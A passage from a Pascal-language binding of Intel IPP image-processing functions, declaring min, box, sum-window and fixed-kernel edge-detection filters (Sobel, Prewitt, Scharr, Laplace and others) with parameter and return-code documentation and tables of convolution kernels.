function ippiFilterMinBorder_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16s_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMinBorder_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16s_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMinBorder_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16s_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMinBorder_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp16u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMinBorder_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMinBorder_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMinBorder_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16u_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMinBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMinBorder_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMinBorder_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterMinBorder_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; borderType : IppiBorderType ; const pBorderValue : Ipp32f_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Linear Filters
----------------------------------------------------------------------------
Name: ippiFilterBoxBorderGetBufferSize
Purpose: Computes the size of external buffer for FilterBoxBorder
Parameters:
roiSize Maximum size of the destination image ROI.
maskSize Size of the mask in pixels.
dataType Data type of the image. Possible values are ipp8u, ipp16u, ipp16s, or ipp32f.
numChannels Number of channels in the image. Possible values are 1, 3, or 4.
pBufferSize Pointer to the size of the external work buffer.
Return Values:
ippStsNoErr Indicates no error.
ippStsSizeErr Indicates an error when roiSize is negative, or equal to zero.
ippStsMaskSizeErr Indicates an error when mask has an illegal value.
ippStsDataTypeErr Indicates an error when dataType has an illegal value.
ippStsNumChannelsError Indicates an error when numChannels has an illegal value.
}
function ippiFilterBoxBorderGetBufferSize( roiSize : IppiSize ; maskSize : IppiSize ; dataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFilterBoxBorder_32f_<desc>R / ippiFilterBoxBorder_16u_<desc>R / ippiFilterBoxBorder_8u_<desc>R / ippiFilterBoxBorder_16s_<desc>R
<desc> C1|C3|C4|AC4 (descriptor)
Purpose: Blurs an image using a simple box filter
Parameters:
pSrc Pointer to the source image.
srcStep Distance in bytes between starting points of consecutive lines in the source image.
pDst Pointer to the destination image.
dstStep Distance in bytes between starting points of consecutive lines in the destination image.
dstRoiSize Size of the destination ROI in pixels.
maskSize Size of the mask in pixels.
border Type of border. Possible values are:
ippBorderConst Values of all border pixels are set to constant.
ippBorderRepl Border is replicated from the edge pixels.
ippBorderInMem Border is obtained from the source image pixels in memory.
Mixed borders are also supported. They can be obtained by the bitwise operation OR between ippBorderRepl and ippBorderInMemTop, ippBorderInMemBottom, ippBorderInMemLeft, ippBorderInMemRight.
borderValue Constant value to assign to pixels of the constant border. This parameter is applicable only to the ippBorderConst border type.
pBuffer Pointer to the work buffer.
Returns:
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error when pSrc or pDst is NULL.
ippStsSizeErr Indicates an error if roiSize has a field with zero or negative value.
ippStsMaskSizeErr Indicates an error if mask has an illegal value.
ippStsBorderErr Indicates an error when border has an illegal value.
}
function ippiFilterBoxBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; maskSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBoxBorder_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; maskSize : IppiSize ; border : IppiBorderType ; const borderValue : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBoxBorder_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; maskSize : IppiSize ; border : IppiBorderType ; const borderValue : Ipp32f_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBoxBorder_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; maskSize : IppiSize ; border : IppiBorderType ; const borderValue : Ipp32f_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBoxBorder_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; maskSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16uPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBoxBorder_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; maskSize : IppiSize ; border : IppiBorderType ; const borderValue : Ipp16u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBoxBorder_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; maskSize : IppiSize ; border : IppiBorderType ; const borderValue : Ipp16u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBoxBorder_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; maskSize : IppiSize ; border : IppiBorderType ; const borderValue : Ipp16u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBoxBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; maskSize : IppiSize ; border : IppiBorderType ; borderValue : Ipp16sPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBoxBorder_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; maskSize : IppiSize ; border : IppiBorderType ; const borderValue : Ipp16s_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBoxBorder_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; maskSize : IppiSize ; border : IppiBorderType ; const borderValue : Ipp16s_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBoxBorder_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; maskSize : IppiSize ; border : IppiBorderType ; const borderValue : Ipp16s_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBoxBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; maskSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp8uPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBoxBorder_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; maskSize : IppiSize ; border : IppiBorderType ; const borderValue : Ipp8u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBoxBorder_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; maskSize : IppiSize ; border : IppiBorderType ; const borderValue : Ipp8u_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBoxBorder_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; maskSize : IppiSize ; border : IppiBorderType ; const borderValue : Ipp8u_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFilterBox_64f_C1R
Purpose: Blurs an image using a simple box filter
Parameters:
pSrc pointer to the source image
srcStep step in the source image
pDst pointer to the destination image
dstStep step in the destination image
pSrcDst pointer to the source/destination image (in-place flavors)
srcDstStep step in the source/destination image (in-place flavors)
dstRoiSize size of the destination ROI
roiSize size of the source/destination ROI (in-place flavors)
maskSize size of the mask in pixels
anchor the [x,y] coordinates of the anchor cell in the kernel
Returns:
ippStsNoErr No errors
ippStsNullPtrErr pSrc == NULL or pDst == NULL or pSrcDst == NULL
ippStsStepErr one of the step values is zero or negative
ippStsSizeErr dstRoiSize or roiSize has a field with zero or negative value
ippStsMaskSizeErr maskSize has a field with zero or negative value
ippStsAnchorErr anchor is outside the mask
ippStsMemAllocErr memory allocation error
}
function ippiFilterBox_64f_C1R( pSrc : Ipp64fPtr ; srcStep : Int32 ; pDst : Ipp64fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; anchor : IppiPoint ): IppStatus; _ippapi
{----------------------------------------------------------------------------
Name: ippiSumWindowRow_8u32f_<desc>R, ippiSumWindowColumn_8u32f_<desc>R
ippiSumWindowRow_16u32f_<desc>R, ippiSumWindowColumn_16u32f_<desc>R
ippiSumWindowRow_16s32f_<desc>R, ippiSumWindowColumn_16s32f_<desc>R
<desc> C1|C3|C4 (descriptor)
Purpose: Sums pixel values in the row or column mask applied to the image
Parameters:
pSrc pointer to the source image
srcStep step in the source image
pDst pointer to the destination image
dstStep step in the destination image
dstRoiSize size of the destination ROI
maskSize size of the horizontal or vertical mask in pixels
anchor the anchor cell
Returns:
ippStsNoErr No errors
ippStsNullPtrErr pSrc == NULL or pDst == NULL or pSrcDst == NULL
ippStsSizeErr dstRoiSize has a field with zero or negative value
ippStsMaskSizeErr maskSize is zero or negative value
ippStsAnchorErr anchor is outside the mask
ippStsMemAllocErr memory allocation error (ippiSumWindowColumn only)
}
function ippiSumWindowRow_8u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : Int32 ; anchor : Int32 ): IppStatus; _ippapi
function ippiSumWindowRow_8u32f_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : Int32 ; anchor : Int32 ): IppStatus; _ippapi
function ippiSumWindowRow_8u32f_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : Int32 ; anchor : Int32 ): IppStatus; _ippapi
function ippiSumWindowRow_16u32f_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : Int32 ; anchor : Int32 ): IppStatus; _ippapi
function ippiSumWindowRow_16u32f_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : Int32 ; anchor : Int32 ): IppStatus; _ippapi
function ippiSumWindowRow_16u32f_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : Int32 ; anchor : Int32 ): IppStatus; _ippapi
function ippiSumWindowRow_16s32f_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : Int32 ; anchor : Int32 ): IppStatus; _ippapi
function ippiSumWindowRow_16s32f_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : Int32 ; anchor : Int32 ): IppStatus; _ippapi
function ippiSumWindowRow_16s32f_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : Int32 ; anchor : Int32 ): IppStatus; _ippapi
function ippiSumWindowColumn_8u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : Int32 ; anchor : Int32 ): IppStatus; _ippapi
function ippiSumWindowColumn_8u32f_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : Int32 ; anchor : Int32 ): IppStatus; _ippapi
function ippiSumWindowColumn_8u32f_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : Int32 ; anchor : Int32 ): IppStatus; _ippapi
function ippiSumWindowColumn_16u32f_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : Int32 ; anchor : Int32 ): IppStatus; _ippapi
function ippiSumWindowColumn_16u32f_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : Int32 ; anchor : Int32 ): IppStatus; _ippapi
function ippiSumWindowColumn_16u32f_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : Int32 ; anchor : Int32 ): IppStatus; _ippapi
function ippiSumWindowColumn_16s32f_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : Int32 ; anchor : Int32 ): IppStatus; _ippapi
function ippiSumWindowColumn_16s32f_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : Int32 ; anchor : Int32 ): IppStatus; _ippapi
function ippiSumWindowColumn_16s32f_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : Int32 ; anchor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Filters with Fixed Kernel
{ ----------------------------------------------------------------------------
Kernels:
1 1 1
PrewittHoriz 0 0 0
-1 -1 -1
-1 0 1
PrewittVert -1 0 1
-1 0 1
0 0 0
RobetsDown 0 1 0
0 0 -1
0 0 0
RobertsUp 0 1 0
-1 0 0
-1 -1 -1
Sharpen -1 16 -1 X 1/8
-1 -1 -1
3 0 -3
ScharrVert 10 0 -10
3 0 -3
3 10 3
ScharrHoriz 0 0 0
-3 -10 -3
-1 -1 -1
Laplace (3x3) -1 8 -1
-1 -1 -1
1 2 1
Gauss (3x3) 2 4 2 X 1/16
1 2 1
1 1 1
Lowpass (3x3) 1 1 1 X 1/9
1 1 1
-1 -1 -1
Hipass (3x3 ) -1 8 -1
-1 -1 -1
-1 0 1
SobelVert (3x3) -2 0 2
-1 0 1
1 2 1
SobelHoriz (3x3) 0 0 0
-1 -2 -1
1 -2 1
SobelVertSecond (3x3) 2 -4 2
1 -2 1
1 2 1
SobelHorizSecond (3x3) -2 -4 -2
1 2 1
-1 0 1
SobelCross (3x3) 0 0 0
1 0 -1
-1 -3 -4 -3 -1
-3 0 6 0 -3
Laplace (5x5) -4 6 20 6 -4
-3 0 6 0 -3
-1 -3 -4 -3 -1
2 7 12 7 2
7 31 52 31 7
Gauss (5x5) 12 52 127 52 12 X 1/571
7 31 52 31 7
2 7 12 7 2
1 1 1 1 1
1 1 1 1 1
Lowpass (5x5) 1 1 1 1 1 X 1/25
1 1 1 1 1
1 1 1 1 1
-1 -1 -1 -1 -1
-1 -1 -1 -1 -1
Hipass (5x5) -1 -1 24 -1 -1
-1 -1 -1 -1 -1
-1 -1 -1 -1 -1
-1 -2 0 2 1
-4 -8 0 8 4
SobelVert (5x5) -6 -12 0 12 6
-4 -8 0 8 4
-1 -2 0 2 1
1 4 6 4 1
2 8 12 8 2
SobelHoriz (5x5) 0 0 0 0 0
-2 -8 -12 -8 -4
-1 -4 -6 -4 -1
1 0 -2 0 1
4 0 -8 0 4
SobelVertSecond (5x5) 6 0 -12 0 6
4 0 -8 0 4
1 0 -2 0 1
1 4 6 4 1
0 0 0 0 0
SobelHorizSecond (5x5) -2 -8 -12 -8 -2
0 0 0 0 0
1 4 6 4 1
-1 -2 0 2 1
-2 -4 0 4 2
SobelCross (5x5) 0 0 0 0 0
2 4 0 -4 -2
1 2 0 -2 -1
}
{ ----------------------------------------------------------------------------
Name: ippiFilterSobelHorizBorderGetBufferSize
ippiFilterSobelVertBorderGetBufferSize
ippiFilterScharrHorizMaskBorderGetBufferSize
ippiFilterScharrVertMaskBorderGetBufferSize
ippiFilterPrewittHorizBorderGetBufferSize
ippiFilterPrewittVertBorderGetBufferSize
ippiFilterRobertsDownBorderGetBufferSize
ippiFilterRobertsUpBorderGetBufferSize
ippiFilterSobelHorizSecondBorderGetBufferSize
ippiFilterSobelVertSecondBorderGetBufferSize
ippiFilterSobelNegVertBorderGetBufferSize
Purpose: Computes the size of the external buffer for fixed filter with border
Parameters:
roiSize Size of destination ROI in pixels.
mask Predefined mask of IppiMaskSize type.
srcDataType Data type of the source image.
dstDataType Data type of the destination image.
numChannels Number of channels in the images.
pBufferSize Pointer to the size (in bytes) of the external work buffer.
Return Values:
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error when pBufferSize is NULL.
ippStsSizeErr Indicates an error when roiSize is negative, or equal to zero.
ippStsMaskSizeErr Indicates an error condition if mask has a wrong value.
ippStsDataTypeErr Indicates an error when srcDataType or dstDataType has an illegal value.
ippStsNumChannelsErr Indicates an error when numChannels has an illegal value.
}
function ippiFilterSobelHorizBorderGetBufferSize( dstRoiSize : IppiSize ; mask : IppiMaskSize ; srcDataType : IppDataType ; dstDataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterSobelVertBorderGetBufferSize( dstRoiSize : IppiSize ; mask : IppiMaskSize ; srcDataType : IppDataType ; dstDataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterScharrHorizMaskBorderGetBufferSize( dstRoiSize : IppiSize ; mask : IppiMaskSize ; srcDataType : IppDataType ; dstDataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterScharrVertMaskBorderGetBufferSize( dstRoiSize : IppiSize ; mask : IppiMaskSize ; srcDataType : IppDataType ; dstDataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterPrewittHorizBorderGetBufferSize( dstRoiSize : IppiSize ; mask : IppiMaskSize ; srcDataType : IppDataType ; dstDataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterPrewittVertBorderGetBufferSize( dstRoiSize : IppiSize ; mask : IppiMaskSize ; srcDataType : IppDataType ; dstDataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterRobertsDownBorderGetBufferSize( dstRoiSize : IppiSize ; mask : IppiMaskSize ; srcDataType : IppDataType ; dstDataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterRobertsUpBorderGetBufferSize( dstRoiSize : IppiSize ; mask : IppiMaskSize ; srcDataType : IppDataType ; dstDataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterSobelHorizSecondBorderGetBufferSize( dstRoiSize : IppiSize ; mask : IppiMaskSize ; srcDataType : IppDataType ; dstDataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterSobelVertSecondBorderGetBufferSize( dstRoiSize : IppiSize ; mask : IppiMaskSize ; srcDataType : IppDataType ; dstDataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterSobelNegVertBorderGetBufferSize( dstRoiSize : IppiSize ; mask : IppiMaskSize ; srcDataType : IppDataType ; dstDataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterLaplaceBorderGetBufferSize( dstRoiSize : IppiSize ; mask : IppiMaskSize ; srcDataType : IppDataType ; dstDataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterHipassBorderGetBufferSize( dstRoiSize : IppiSize ; mask : IppiMaskSize ; srcDataType : IppDataType ; dstDataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterSharpenBorderGetBufferSize( dstRoiSize : IppiSize ; mask : IppiMaskSize ; srcDataType : IppDataType ; dstDataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFilterSobelVertBorder_8u16s_C1R
ippiFilterSobelHorizBorder_8u16s_C1R
ippiFilterScharrVertMaskBorder_8u16s_C1R
ippiFilterScharrHorizMaskBorder_8u16s_C1R
ippiFilterPrewittVertBorder_8u16s_C1R
ippiFilterPrewittHorizBorder_8u16s_C1R
ippiFilterRobertsDownBorder_8u16s_C1R
ippiFilterRobertsUpBorder_8u16s_C1R
ippiFilterSobelVertSecondBorder_8u16s_C1R
ippiFilterSobelHorizSecondBorder_8u16s_C1R
ippiFilterSobelNegVertBorder_8u16s_C1R
ippiFilterSobelVertBorder_16s_C1R
ippiFilterSobelHorizBorder_16s_C1R
ippiFilterScharrVertMaskBorder_16s_C1R
ippiFilterScharrHorizMaskBorder_16s_C1R
ippiFilterPrewittVertBorder_16s_C1R
ippiFilterPrewittHorizBorder_16s_C1R
ippiFilterRobertsDownBorder_16s_C1R
ippiFilterRobertsUpBorder_16s_C1R
ippiFilterSobelVertBorder_32f_C1R
ippiFilterSobelHorizBorder_32f_C1R
ippiFilterScharrVertMaskBorder_32f_C1R
ippiFilterScharrHorizMaskBorder_32f_C1R
ippiFilterPrewittVertBorder_32f_C1R
ippiFilterPrewittHorizBorder_32f_C1R
ippiFilterRobertsDownBorder_32f_C1R
ippiFilterRobertsUpBorder_32f_C1R
ippiFilterSobelVertSecondBorder_32f_C1R
ippiFilterSobelHorizSecondBorder_32f_C1R
ippiFilterSobelNegVertBorder_32f_C1R
ippiFilterLaplaceBorder_8u_C1R
ippiFilterLaplaceBorder_8u_C3R
ippiFilterLaplaceBorder_8u_C4R
ippiFilterLaplaceBorder_8u_AC4R
ippiFilterLaplaceBorder_16s_C1R
ippiFilterLaplaceBorder_16s_C3R
ippiFilterLaplaceBorder_16s_C4R
ippiFilterLaplaceBorder_16s_AC4R
ippiFilterLaplaceBorder_32f_C1R
ippiFilterLaplaceBorder_32f_C3R
ippiFilterLaplaceBorder_32f_C4R
ippiFilterLaplaceBorder_32f_AC4R
ippiFilterHipassBorder_8u_C1R
ippiFilterHipassBorder_8u_C3R
ippiFilterHipassBorder_8u_C4R
ippiFilterHipassBorder_8u_AC4R
ippiFilterHipassBorder_16s_C1R
ippiFilterHipassBorder_16s_C3R
ippiFilterHipassBorder_16s_C4R
ippiFilterHipassBorder_16s_AC4R
ippiFilterHipassBorder_32f_C1R
ippiFilterHipassBorder_32f_C3R
ippiFilterHipassBorder_32f_C4R
ippiFilterHipassBorder_32f_AC4R
ippiFilterSharpenBorder_8u_C1R
ippiFilterSharpenBorder_8u_C3R
ippiFilterSharpenBorder_8u_C4R
ippiFilterSharpenBorder_8u_AC4R
ippiFilterSharpenBorder_16s_C1R
ippiFilterSharpenBorder_16s_C3R
ippiFilterSharpenBorder_16s_C4R
ippiFilterSharpenBorder_16s_AC4R
ippiFilterSharpenBorder_32f_C1R
ippiFilterSharpenBorder_32f_C3R
ippiFilterSharpenBorder_32f_C4R
ippiFilterSharpenBorder_32f_AC4R
Purpose: Perform linear filtering of an image using one of
predefined convolution kernels.
Parameters:
pSrc Pointer to the source image ROI.
srcStep Distance in bytes between starting points of consecutive lines in the sorce image.
pDst Pointer to the destination image ROI.
dstStep Distance in bytes between starting points of consecutive lines in the destination image.
dstRoiSize Size of destination ROI in pixels.
mask Predefined mask of IppiMaskSize type.
borderType Type of border.
borderValue Constant value to assign to pixels of the constant border. This parameter is applicable
only to the ippBorderConst border type.
pBorderValue The pointer to constant values to assign to pixels of the constant border. This parameter is applicable
only to the ippBorderConst border type.
pBuffer Pointer to the work buffer.
Return Values:
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error when pBufferSize is NULL.
ippStsSizeErr Indicates an error when roiSize is negative, or equal to zero.
ippStsNotEvenStepErr Indicated an error when one of the step values is not divisible by 4
for floating-point images, or by 2 for short-integer images.
ippStsBorderErr Indicates an error when borderType has illegal value.
}
function ippiFilterSobelVertBorder_8u16s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSobelHorizBorder_8u16s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterScharrVertMaskBorder_8u16s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterScharrHorizMaskBorder_8u16s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterPrewittVertBorder_8u16s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterPrewittHorizBorder_8u16s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
